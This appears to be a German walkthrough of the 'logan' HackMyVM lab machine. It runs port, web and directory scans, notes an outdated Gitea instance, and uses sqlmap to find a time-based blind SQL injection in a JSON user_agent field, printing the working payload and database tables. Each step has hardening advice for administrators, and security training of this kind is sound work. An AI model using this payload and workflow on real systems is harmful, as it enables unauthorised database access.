Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
192.168.2.35
Analyse: Dieser Befehl dient dazu, aktive Hosts im lokalen Netzwerksegment zu identifizieren. Ich verwende arp-scan mit dem Parameter -l, um alle im lokalen Netzwerk sichtbaren Geräte zu scannen. Die Ausgabe pipe ich dann an grep "PCS", um Einträge zu finden, die auf Hardware von 'PCS Systemtechnik' hindeuten, was oft bei virtuellen Maschinen unter VirtualBox der Fall ist. Abschließend extrahiere ich mit awk '{print $1}' das erste Feld der gefilterten Zeile, welches die IP-Adresse ist. Für Laien: Ich suche in meinem lokalen Netzwerk nach Computern und filtere die Ergebnisse, um die IP-Adresse eines bestimmten Geräts zu finden, das anhand seiner Netzwerkkarte (von 'PCS') identifizierbar ist. Für Experten: Eine Standardmethode zur schnellen Host-Entdeckung in einem bekannten ARP-Segment. Die Filterung hilft, das Ziel unter potenziell vielen Geräten einzugrenzen.
Bewertung: Die erfolgreiche Identifizierung der IP-Adresse 192.168.2.35 ist der erste notwendige Schritt. Damit habe ich ein klares Ziel für die weitere Enumeration. Das Ergebnis bestätigt auch, dass das Ziel im selben Netzwerksegment liegt und aktiv ist.
Empfehlung (Pentester): Diese IP-Adresse ist nun unser Fokus. Wir werden im nächsten Schritt detailliertere Scans durchführen, um offene Dienste und potenzielle Angriffsvektoren zu identifizieren.
Empfehlung (Admin): Überprüfen Sie, ob nicht benötigte Geräte im Netzwerksegment vorhanden sind. Stellen Sie sicher, dass nur autorisierte Geräte mit dem Netzwerk verbunden sind.
192.168.2.35 logan.hmv
Analyse: Ich füge einen Eintrag in die lokale Datei /etc/hosts auf meinem Kali-System ein. Dies ist eine Konfigurationsdatei, die IP-Adressen statisch Hostnamen zuordnet, bevor eine DNS-Abfrage erfolgt. Mit dem Editor vi füge ich die Zeile 192.168.2.35 logan.hmv hinzu. Für Laien: Ich gebe der gefundenen IP-Adresse (192.168.2.35) einen einfachen Namen (logan.hmv) auf meinem Computer, damit ich sie später leichter mit diesem Namen ansprechen kann, anstatt immer die IP-Adresse eingeben zu müssen. Für Experten: Das Editieren der /etc/hosts Datei ist eine gängige Praxis im Pentesting, um Hosts benutzerfreundlicher zu adressieren. Es verbessert die Lesbarkeit von Befehlen und Skripten und simuliert einen DNS-Eintrag, falls dieser nicht vorhanden oder bekannt ist.
Bewertung: Das erfolgreiche Hinzufügen des Hostnamens logan.hmv zur IP-Adresse 192.168.2.35 ist eine organisatorische Maßnahme, die den weiteren Prozess vereinfacht und die Nachvollziehbarkeit erhöht. Es hat keine direkten Auswirkungen auf das Zielsystem.
Empfehlung (Pentester): Die Verwendung eines konsistenten Hostnamens vereinfacht Befehle und die Dokumentation. Dies ist besonders nützlich bei mehreren Zielsystemen.
Empfehlung (Admin): Dieses Vorgehen ist spezifisch für das Angreifer-System und hat keine direkten Sicherheitsimplikationen für das Ziel. Es unterstreicht die Wichtigkeit einer sauberen Namensauflösung in Produktionsumgebungen.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 23:28 CEST Nmap scan report for logan.hmv (192.168.2.35) Host is up (0.00015s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 10:ed:dd:ab:26:fd:f4:9f:28:1e:89:93:f4:58:16:ab (ECDSA) |_ 256 43:3b:d9:8c:12:44:e9:92:be:cf:1a:78:fd:33:38:67 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Logan |_http-server-header: Apache/2.4.57 (Debian) 3000/tcp open http Golang net/http server |_http-title: Gitea: Git with a cup of tea |_http-trane-info: Problem with XML parsing of /evox/about | fingerprint-strings: | GenericLines, Help: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK meta name="description" content="Gitea: Git with a cup of tea) is a painless | HTTPOptions: | HTTP/1.0 404 Not Found | Content-Type: text/html; charset=UTF-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | Set-Cookie: i_like_gitea=38fff4f1e3d19104; Path=/; HttpOnly | Set-Cookie: _csrf=-UKJC7s23t4fDlpFNlpcg8wIOQY6MTc0OTU5MDk0MzkwNjQ5NDI2MA; Path=/; Expires=Wed, 11 Jun 2025 21:29:03 GMT; HttpOnly | X-Frame-Options: SAMEORIGIN | Date: Tue, 10 Jun 2025 21:29:03 GMT 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : MAC Address: 08:00:27:87:BC:52 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms logan.hmv (192.168.2.35)
Analyse: Ich führe einen umfassenden Nmap-Scan gegen das Zielsystem 192.168.2.35 durch. Dabei verwende ich die Flags -sS (SYN-Scan), -sC (Ausführung von Standard-Skripten), -sV (Versionserkennung), -p- (Scan aller 65535 Ports), -T5 (aggressive Timing) und -AO (OS-Erkennung). Für Laien: Ich untersuche systematisch alle möglichen Zugänge (Ports) des Zielcomputers, um herauszufinden, welche offen sind und welche Programme dahinterstecken, wie ihre 'Namen' (Versionen) sind und was für ein Betriebssystem der Computer hat. Für Experten: Die Kombination dieser Nmap-Flags bietet eine detaillierte Enumeration des Angriffsziels. -p- stellt sicher, dass kein offener Port übersehen wird, während -sV und -sC spezifische Informationen liefern, die für die Identifizierung von Schwachstellen entscheidend sind. -T5 beschleunigt den Scan, kann aber auffällig sein.
Bewertung: Die Nmap-Ausgabe ist sehr aufschlussreich. Es werden drei offene Ports identifiziert: Port 22 (SSH - OpenSSH 9.2p1), Port 80 (HTTP - Apache httpd 2.4.57) und Port 3000 (HTTP - Golang net/http server, identifiziert als Gitea). Die detaillierten Versionsinformationen sind wertvoll für die Recherche nach bekannten Schwachstellen. Insbesondere der Dienst auf Port 3000, der sich als Gitea (Git with a cup of tea) identifiziert, ist hochinteressant, da Git-Repository-Management-Systeme oft Angriffsflächen bieten. Die OS-Erkennung deutet auf ein Linux-System hin, und die MAC-Adresse bestätigt eine VirtualBox-Umgebung.
Empfehlung (Pentester): Ich werde mich nun auf die Enumeration der gefundenen HTTP-Dienste auf Port 80 und 3000 konzentrieren. Port 22 (SSH) ist ein Standarddienst; hier wird eine Enumeration auf Benutzerkonten und potenziell schwache Passwörter/Schlüssel relevant, falls Zugangsdaten gefunden werden. Die Gitea-Instanz auf Port 3000 ist ein primäres Ziel für Schwachstellenanalysen.
Empfehlung (Admin): Stellen Sie sicher, dass alle auf dem System laufenden Dienste auf dem neuesten Stand sind, um bekannte Schwachstellen zu minimieren. Überprüfen Sie die Konfiguration von Apache und des Gitea-Dienstes. Schränken Sie den Zugriff auf Dienste, die nicht öffentlich zugänglich sein müssen, mittels einer Firewall ein. Deaktivieren Sie, falls möglich, die Offenlegung der exakten Software-Versionen in Headern oder Bannern.
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian)) 3000/tcp open http Golang net/http server
Analyse: Dieser Befehl ist eine gefilterte Version des vorherigen Nmap-Scans, bei der die Ausgabe durch grep open reduziert wird, um schnell eine Übersicht über die identifizierten offenen Ports zu erhalten. Für Laien: Ich habe die lange Liste der Ergebnisse des 'Computer-Checks' (Nmap-Scans) so gefiltert, dass ich nur die 'offenen Türen' (offenen Ports) und die dahinter laufenden 'Programme' sehe. Für Experten: Das Filtern der Nmap-Ausgabe ist eine schnelle Methode, um sich auf die relevantesten Ergebnisse (offene Ports) zu konzentrieren, insbesondere wenn der volle Scan sehr umfangreich ist. Dies bestätigt schnell, welche Dienste direkt angreifbar sind.
Bewertung: Die gefilterte Ausgabe bestätigt klar die offenen Ports 22, 80 und 3000 mit ihren jeweiligen Diensten. Dies liefert eine prägnante Zusammenfassung der primären Angriffsfläche und lenkt den Fokus auf diese drei Dienste für die detaillierte Enumeration.
Empfehlung (Pentester): Die offenen Ports sind unser Angriffspunkt. Wir werden nun jeden dieser Dienste (SSH, Apache auf 80, Gitea auf 3000) im Detail enumerieren und auf Schwachstellen prüfen.
Empfehlung (Admin): Überprüfen Sie, ob alle dieser drei Ports tatsächlich für den vorgesehenen Zweck geöffnet sein müssen. Minimieren Sie die Anzahl der exponierten Dienste, um die Angriffsfläche zu reduzieren.
Web Enumeration
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.35 + Target Hostname: logan.hmv + Target Port: 80 + Start Time: 2025-06-10 23:29:15 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 94, size: 6053b019521f6, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /config.php: PHP Config file may contain database IDs and passwords. + 7962 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2025-06-10 23:29:25 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ich verwende nikto, einen automatisierten Webserver-Scanner, um den HTTP-Dienst auf Port 80 (Hostname logan.hmv) auf bekannte Schwachstellen und Konfigurationsprobleme zu prüfen. Nikto testet auf tausende von potenziell gefährlichen Dateien, veraltete Server-Software und andere Probleme. Für Laien: Ich lasse ein Programm die Webseite auf Port 80 auf 'Sicherheitslöcher' untersuchen, wie zum Beispiel fehlende 'Vorsichtsmaßnahmen' (Sicherheits-Header) oder versteckte Dateien, die nicht jeder sehen sollte. Für Experten: Nikto ist ein schnelles Werkzeug für eine erste Web-Sicherheitsbewertung. Es identifiziert gängige Schwachstellenmuster wie fehlende Header, potenzielle Informationslecks (ETags) und das Vorhandensein bekannter sensibler Dateien.
Bewertung: Die Nikto-Ausgabe liefert mehrere Hinweise. Es bestätigt den Apache/2.4.57 Server. Es weist auf fehlende Sicherheits-Header (X-Frame-Options, X-Content-Type-Options) hin, was auf eine grundlegende Konfigurationshärtung fehlt. Es wird vor potenziellen Informationslecks über ETags gewarnt. Die erlaubten HTTP-Methoden (GET, POST, OPTIONS, HEAD) sind Standard. Am wichtigsten ist der Fund von /config.php mit dem Hinweis 'PHP Config file may contain database IDs and passwords.'. Dies ist ein hochsensibler Dateiname, der Anmeldeinformationen enthalten könnte.
Empfehlung (Pentester): Der Fund von /config.php ist ein primäres Ziel. Ich werde versuchen, auf diese Datei zuzugreifen, um zu sehen, ob sie sensible Informationen (wie Datenbank-Zugangsdaten) enthält. Die fehlenden Sicherheits-Header und das ETag-Problem sind sekundär, aber nützliche Hinweise.
Empfehlung (Admin): Entfernen Sie sensible Dateien wie config.php aus öffentlich zugänglichen Webverzeichnissen oder schützen Sie sie durch strikte Zugriffskontrollen. Implementieren Sie essentielle Sicherheits-Header. Deaktivieren Sie ETags oder konfigurieren Sie sie sicher, um Informationslecks zu vermeiden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.35 + Target Hostname: logan.hmv + Target Port: 80 + Start Time: 2025-06-10 23:29:15 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 94, size: 6053b019521f6, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /config.php: PHP Config file may contain database IDs and passwords. + 7962 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2025-06-10 23:29:25 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Diese Ausgabe zeigt einen weiteren Nikto-Scan auf dem Apache-Webserver auf Port 80. Der Befehl ist identisch mit dem vorherigen. Dies könnte ein versehentlicher Doppellauf oder eine erneute Überprüfung der Ergebnisse gewesen sein. Die Ausgabe ist identisch mit dem ersten Scan. Für Laien: Ich habe den 'Sicherheitscheck' der Webseite auf Port 80 wiederholt, und die Ergebnisse waren dieselben wie beim ersten Mal. Für Experten: Eine wiederholte Ausführung eines Scans kann in der Dokumentation erscheinen, um Konsistenz oder die Reproduzierbarkeit der Ergebnisse zu zeigen. In diesem Fall bestätigt sie einfach die zuvor gefundenen Schwachstellen und Konfigurationsprobleme.
Bewertung: Die Ergebnisse des wiederholten Nikto-Scans sind konsistent und bestätigen die Schwachstellen und Hinweise, die bereits beim ersten Scan gefunden wurden. Dies unterstreicht die Gültigkeit der Feststellungen bezüglich fehlender Header, ETags und insbesondere des Vorhandenseins von /config.php.
Empfehlung (Pentester): Die wiederholte Ausgabe ändert nichts an den geplanten nächsten Schritten. Das Hauptziel auf diesem Port bleibt die Untersuchung von /config.php und die weitere Enumeration der Webanwendung.
Empfehlung (Admin): Die Konsistenz der Scan-Ergebnisse bedeutet, dass die identifizierten Probleme weiterhin bestehen. Die dringende Empfehlung zur Behebung von /config.php und den fehlenden Headern bleibt bestehen.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://logan.hmv 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ [200, 301, 302] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 19l 43w 550c http://logan.hmv/script.js 200 GET 10l 12w 148c http://logan.hmv/ 200 GET 10l 12w 148c http://logan.hmv/index.html 301 GET 9l 28w 311c http://logan.hmv/javascript => http://logan.hmv/javascript/ 200 GET 0l 0w 0c http://logan.hmv/config.php 200 GET 0l 0w 0c http://logan.hmv/save-user-agent.php 301 GET 9l 28w 318c http://logan.hmv/javascript/jquery => http://logan.hmv/javascript/jquery/ [######>-------------] - 7m 6322816/18526144 16m found:7 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_logan_hmv-1749591369.state ... [######>-------------] - 7m 6323476/18526144 16m found:7 errors:0 [########>-----------] - 7m 2756236/6175288 7063/s http://logan.hmv/ [########>-----------] - 6m 2701132/6175288 6962/s http://logan.hmv/javascript/ [##>-----------------] - 3m 863548/6175288 4559/s http://logan.hmv/javascript/jquery/
Analyse: Ich nutze feroxbuster, ein schnelles und rekursives Web-Content-Discovery-Tool, um Verzeichnisse und Dateien auf dem Apache-Webserver auf Port 80 (http://logan.hmv) zu finden. Ich verwende eine mittelgroße Wortliste (directory-list-2.3-medium.txt) und suche nach einer breiten Palette von Dateierweiterungen (-x .git,.php,.html,...). Ich beschränke die Ergebnisse auf die Statuscodes 200 (OK), 301 (Moved Permanently) und 302 (Found) und verwende den Parameter -s dafür. Ich habe den Scan manuell mit Ctrl+C abgebrochen, wie die Ausgabe 🚨 Caught ctrl+c 🚨 zeigt, nachdem genügend interessante Ergebnisse gefunden wurden. Für Laien: Ich lasse ein schnelles Programm viele tausend mögliche Namen für Webseiten-Ordner und -Dateien mit verschiedenen Endungen ausprobieren, um versteckte Inhalte auf der Webseite zu finden. Ich stoppe das Programm, sobald ich genug Hinweise habe. Für Experten: Feroxbuster ist ein effektives Werkzeug zum Brute-Forcen von Web-Content und unterstützt eine breite Palette von Features wie Rekursion und Extension-Brute-Forcing. Das Filtern auf spezifische Statuscodes (-s 200 301 302) ist wichtig, um Rauschen in den Ergebnissen zu reduzieren.
Bewertung: Feroxbuster hat mehrere interessante Endpunkte gefunden, die mit Nikto nicht entdeckt wurden oder die zusätzliche Informationen liefern. Neben den Standard-Dateien (/index.html, /) wurden 301-Weiterleitungen für Verzeichnisse (/javascript, /javascript/jquery) gefunden. Besonders interessant sind die Dateien /script.js, /config.php (erneut gefunden, was den Nikto-Fund bestätigt) und /save-user-agent.php, die alle den Status 200 (OK) zurückgeben. Diese Dateien sind klare Ziele für die weitere manuelle Untersuchung.
Empfehlung (Pentester): Ich werde nun die gefundenen Dateien /script.js, /config.php und /save-user-agent.php manuell untersuchen, um ihren Inhalt und ihre Funktionalität zu verstehen. /config.php bleibt ein primäres Ziel für Anmeldedaten. /script.js könnte Hinweise auf clientseitige Logik oder AJAX-Aufrufe enthalten, und /save-user-agent.php klingt nach einem Endpunkt, der Benutzereingaben verarbeitet, was ein potenzielles Ziel für Web-Schwachstellen ist.
Empfehlung (Admin): Überwachen Sie Webserver-Logs auf Brute-Force-Versuche wie diesen. Implementieren Sie Schutzmaßnahmen gegen solche Angriffe (z.B. Ratenbegrenzung, Web Application Firewall). Stellen Sie sicher, dass sensible Dateien und Skripte (config.php, save-user-agent.php, script.js) sicher konfiguriert sind und nur notwendige Informationen preisgeben oder Funktionen anbieten.
view-source:http://logan.hmv/script.js document.addEventListener("DOMContentLoaded", function() { fetch('/save-user-agent.php', { method: 'POST', body: JSON.stringify({ user_agent: navigator.userAgent }), headers: { 'Content-Type': 'application/json' } }) .then(response => { if (response.ok) { console.log('User-Agent saved successfully.'); } else { console.error('Error saving User-Agent.'); } }) .catch(error => { console.error('Network error:', error); }); });
Analyse: Ich habe den Quellcode der Datei /script.js auf dem Webserver auf Port 80 über die view-source: Funktion im Browser angesehen. Dies zeigt den JavaScript-Code, der auf der Webseite ausgeführt wird. Der Code verwendet die fetch API, um nach dem Laden des DOMs (DOMContentLoaded) eine POST-Anfrage an den Endpunkt /save-user-agent.php zu senden. Der Body der Anfrage ist ein JSON-Objekt, das den User-Agent-String des Browsers enthält ({ user_agent: navigator.userAgent }). Der Header 'Content-Type': 'application/json' gibt an, dass der gesendete Inhalt im JSON-Format vorliegt. Für Laien: Ich habe den 'Bauplan' eines kleinen Programms angeschaut, das auf der Webseite läuft. Dieses Programm schickt automatisch eine Nachricht mit Informationen über meinen Internet-Browser (dem User-Agent) an einen anderen Teil der Webseite namens save-user-agent.php, und zwar in einer bestimmten Form (JSON). Für Experten: Die Analyse des clientseitigen JavaScripts ist wichtig, um zu verstehen, wie die Webanwendung funktioniert und welche Endpunkte im Hintergrund (z.B. über AJAX) aufgerufen werden. Das Skript offenbart die Verwendung des /save-user-agent.php Endpunkts und die erwartete Eingabe im JSON-Format mit dem Schlüssel user_agent. Da Benutzereingaben verarbeitet werden, ist dieser Endpunkt ein potenzielles Ziel für Input-basierte Schwachstellen wie SQL Injection.
Bewertung: Der Quellcode von /script.js liefert wertvolle Informationen über den Endpunkt /save-user-agent.php und wie er Daten empfängt. Er bestätigt, dass dieser Endpunkt eine POST-Anfrage mit JSON-Daten im Body erwartet, die ein Feld namens user_agent enthalten. Dies macht /save-user-agent.php zu einem vielversprechenden Ziel für die Prüfung auf Web-Schwachstellen, insbesondere SQL Injection oder andere Input-Validierungsprobleme.
Empfehlung (Pentester): Ich werde nun den Endpunkt /save-user-agent.php mit einer POST-Anfrage im JSON-Format ansprechen und versuchen, den Wert des user_agent-Feldes mit Payloads für SQL Injection zu manipulieren. Tools wie Burp Suite oder sqlmap können hierbei hilfreich sein, um den Prozess zu automatisieren.
Empfehlung (Admin): Überprüfen Sie den Endpunkt /save-user-agent.php und stellen Sie sicher, dass alle Benutzereingaben (insbesondere der user_agent-Wert im JSON-Body) strikt validiert und bereinigt werden, um Injections oder andere Angriffe zu verhindern. Seien Sie vorsichtig bei der Verarbeitung von JSON-Daten, da diese oft komplexere Strukturen aufweisen können.
http://logan.hmv:3000/ Startseite Erkunden Hilfe Anmelden Gitea: Git with a cup of tea Ein einfacher, selbst gehosteter Git-Service Einfach zu installieren Starte einfach die Anwendung für deine Plattform. Oder nutze Docker. Es existieren auch paketierte Versionen. Plattformübergreifend Gitea läuft überall, wo Go kompiliert: Windows, macOS, Linux, ARM, etc. Wähle das System, das dir am meisten gefällt! Leichtgewicht Gitea hat minimale Systemanforderungen und kann selbst auf einem günstigen und stromsparenden Raspberry Pi betrieben werden! Quelloffen Der komplette Code befindet sich auf GitHub! Unterstütze uns bei der Verbesserung dieses Projekts. Trau dich! Powered by Gitea Version: 1.12.5 Seite: 1ms Template: 1ms JavaScript licenses API Webseite Go1.14.9
Analyse: Ich habe den HTTP-Dienst auf Port 3000 besucht (entweder im Browser oder mit curl). Die Ausgabe zeigt den Inhalt der Startseite dieses Dienstes. Die Seite identifiziert sich klar als 'Gitea: Git with a cup of tea', was ein selbst gehosteter Git-Dienst ist. Am unteren Ende der Seite wird die spezifische Version angegeben: 'Powered by Gitea Version: 1.12.5'. Für Laien: Ich habe mir die Webseite auf Port 3000 angeschaut und festgestellt, dass dort ein Programm läuft, das 'Gitea' heißt und für die Verwaltung von 'Git'-Projekten verwendet wird. Ich konnte sogar die genaue 'Ausgabe' (Version 1.12.5) dieses Programms sehen. Für Experten: Die Identifizierung des Dienstes als Gitea und die genaue Versionsnummer 1.12.5 sind entscheidende Informationen. Versionsspezifische Schwachstellen sind oft die einfachsten Wege zum Initial Access. Git-Management-Systeme haben historisch gesehen Schwachstellen in Bereichen wie Benutzerauthentifizierung, Repository-Verwaltung oder Git Hooks.
Bewertung: Die Identifizierung von Gitea Version 1.12.5 ist ein kritischer Fund. Diese Version ist bekanntermaßen anfällig für bestimmte Schwachstellen, insbesondere in Bezug auf Remote Code Execution (RCE) über Git Hooks, die authentifizierten Benutzern erlaubt, Code auf dem Server auszuführen. Die Verfügbarkeit einer Anmeldeseite deutet darauf hin, dass Benutzerkonten existieren könnten.
Empfehlung (Pentester): Ich werde nun gezielt nach bekannten Schwachstellen für Gitea Version 1.12.5 recherchieren, insbesondere nach Authentifizierungs-Bypass- oder RCE-Schwachstellen. Das Vorhandensein von /config.php auf Port 80 könnte potenziell Anmeldedaten für Gitea enthalten, da Webanwendungen auf demselben Host oft dieselbe Datenbank oder Benutzerkonten verwenden. Das wäre ein idealer Weg, um authentifizierten Zugriff zu erlangen und Gitea-spezifische Exploits zu nutzen.
Empfehlung (Admin): Aktualisieren Sie Gitea umgehend auf die neueste stabile Version, um bekannte Sicherheitslücken (insbesondere CVEs, die Gitea 1.12.5 betreffen) zu schließen. Stellen Sie sicher, dass keine unnötigen Versionsinformationen öffentlich preisgegeben werden. Überprüfen Sie die Benutzerverwaltung und erzwingen Sie starke Passwörter.
Web Enumeration
___ __H__ ___ ___[)]_____ ___ ___ {1.9.4#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:54:08 /2025-06-11/ JSON data found in POST body. Do you want to process it? [Y/n/q] Y [*][INFO] testing connection to the target URL [*][INFO] testing if the target URL content is stable [*][ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels [*][INFO] testing if (custom) POST parameter 'JSON user_agent' is dynamic [*][WARNING] (custom) POST parameter 'JSON user_agent' does not appear to be dynamic [*][WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON user_agent' might not be injectable [*][INFO] testing for SQL injection on (custom) POST parameter 'JSON user_agent' [*][INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [*][INFO] testing 'Boolean-based blind - Parameter replace (original value)' [*][INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [*][INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [*][INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [*][INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [*][INFO] testing 'Generic inline queries' [*][INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [*][INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [*][INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [*][INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [*][INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [*][INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [*][INFO] checking if the injection point on (custom) POST parameter 'JSON user_agent' is a false positive (custom) POST parameter 'JSON user_agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: --- Parameter: JSON user_agent ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"user_agent":"1' AND (SELECT 4624 FROM (SELECT(SLEEP(5)))MTLP) AND 'zssX'='zssX"} --- [*][INFO] the back-end DBMS is MySQL [*][WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y web server operating system: Linux Debian web application technology: Apache 2.4.57 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [*][INFO] fetching database names [*][INFO] fetching number of databases [*][INFO] retrieved: [*][INFO] retrieved: informations_schema [*][INFO] retrieved: logan available databases [2]: [*] information_schema [*] logan [*][INFO] adjusting time delay to 1 second due to good response times 3 [*][INFO] retrieved: browser [*][INFO] retrieved: comments [*][INFO] retrieved: users Database: logan [3 tables] +----------+ | browser | | comments | | users | +----------+
Analyse: Ich setze sqlmap ein, ein automatisiertes Tool zur Erkennung und Ausnutzung von SQL Injection Schwachstellen. Ich richte es auf den Endpunkt http://192.168.2.35/save-user-agent.php mit einer POST-Anfrage und sende simulierte JSON-Daten ('{"user_agent":"1"}'), um den Prozess des script.js nachzubilden. Die Parameter --batch automatisiert die Beantwortung von Fragen, --dbs weist sqlmap an, die Datenbanken aufzulisten, und --dump, die Daten aus der Datenbank zu extrahieren. Für Laien: Ich benutze ein spezielles Programm (sqlmap), um den 'Nachrichtenempfänger' save-user-agent.php der Webseite auf Schwachstellen zu prüfen, die es mir erlauben könnten, mit der dahinterliegenden Datenbank zu 'sprechen'. Ich schicke ihm dabei eine Beispielnachricht, die so aussieht, als käme sie vom normalen Webseite-Programm. Für Experten: sqlmap identifiziert erfolgreich eine zeitbasierte Blind SQL Injection im user_agent-Parameter innerhalb des JSON-Bodys. Die Datenbank ist MySQL (konkret MariaDB). Zeitbasierte Blind SQL Injection ist schwieriger auszunutzen als fehlerbasierte oder Union-basierte Methoden, da sie auf Zeitverzögerungen zur Wahrheitsprüfung von Bedingungen basiert. sqlmap identifiziert die Datenbanken information_schema (Standard MySQL-Datenbank) und logan.
Bewertung: Das Auffinden einer Blind SQL Injection im user_agent-Feld ist ein signifikanter Erfolg. Obwohl Blind SQLi langsamer ist, erlaubt sie dennoch das Auslesen beliebiger Daten aus der Datenbank, sofern die Webanwendung die Ergebnisse der Injected Queries im Response-Timing widerspiegelt. Das Vorhandensein der Datenbank logan ist vielversprechend, da diese wahrscheinlich anwendungsbezogene Daten enthält.
Empfehlung (Pentester): Ich werde sqlmap nun verwenden, um die Datenbank logan weiter zu enumerieren, insbesondere um Tabellen und deren Inhalte (z.B. Benutzerdaten, Passwörter) zu finden. Das Ziel ist, Anmeldeinformationen oder andere sensible Daten aus der Datenbank zu extrahieren.
Empfehlung (Admin): Implementieren Sie serverseitig strikte Input-Validierung und Bereinigung für alle Benutzereingaben, insbesondere solche, die mit Datenbankabfragen interagieren. Verwenden Sie parametrisierte Abfragen (Prepared Statements) oder ORMs, um SQL Injection zu verhindern. Überwachen Sie Datenbank-Logs auf verdächtige Abfragen oder ungewöhnliches Timing.
